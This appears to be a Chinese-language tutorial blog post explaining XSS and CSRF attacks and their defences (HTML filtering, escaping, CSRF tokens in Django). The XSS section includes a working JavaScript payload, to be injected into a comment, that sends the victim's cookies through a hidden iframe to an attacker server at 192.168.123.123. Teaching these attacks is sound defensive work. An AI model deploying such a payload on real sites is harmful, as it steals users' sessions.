什么是XSS

XSS:跨站脚本(Cross-site scripting)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会收到影响。这类攻击通常包含了HTML以及用户端脚本语言。

XSS攻击:通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和Cookie等各种内容。

XSS攻击例子

攻击者使被攻击者在浏览器中执行脚本后,如果需要收集来自被攻击者的数据(如cookie或其他敏感信息),可以自行搭建一个网站,让被攻击者通过JavaScript等方式把收集好的数据作为参数提交,随后以数据库等形式记录在攻击者自己的服务器上。

下面的代码来自用大白话谈谈XSS与CSRF

// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

用户进入到存在漏洞的页面后,浏览器会执行中的上面这段代码,这段代码读取了用户的cookie信息,并作为参数传给了攻击者的服务器http://192.168.123.123/myxss/,攻击者可以使用这些信息做下一步的攻击。

这就是XSS攻击的其中一种手段和目的,其他手段和目的可以搜索了解。

XSS防御

主要方法之一是对用户所提供的内容进行过滤,许多编程语言都有提供对HTML的过滤。或者在渲染HTML页面时,将不安全的内容以字符串的形式显示(Django的模板渲染默认采用这种方法)。

什么是CSRF

CSRF:跨站请求伪造(Cross-site request forgery),是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨站脚本(XSS)相比,XSS利用的是用户对指定网站的信任,CSRF利用的网站对用户浏览器的信任

简单地说,是攻击者通过一些技术手段(例如通过qq发送一个链接让你点击打开)欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至银行转账)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户的操作。

这其实利用了Web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户资源发出的

CSRF攻击例子

N4jY5R.png

这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险

CSRF防御

令牌同步模式
原理是:当用户发送请求时,服务器端应用将令牌(英语:token,一个保密且唯一的值)嵌入HTML表格,并发送给客户端。客户端提交HTML表格时候,会将令牌发送到服务端,令牌的验证是由服务端实行的。令牌可以通过任何方式生成,只要确保随机性和唯一性(如:使用随机种子【英语:random seed】的哈希链 )。这样确保攻击者发送请求时候,由于没有该令牌而无法通过验证。

Django的csrf就是采用这种方法。

参考资料

跨站脚本 - 维基百科

跨站请求伪造 - 维基百科

用大白话谈谈XSS与CSRF

如何用简洁生动的语言说明 XSS 和 CSRF 的区别?

Django中csrf token验证原理

Last modification:June 30th, 2020 at 12:03 pm
如果觉得我的文章对你有用,请尽情赞赏 🐶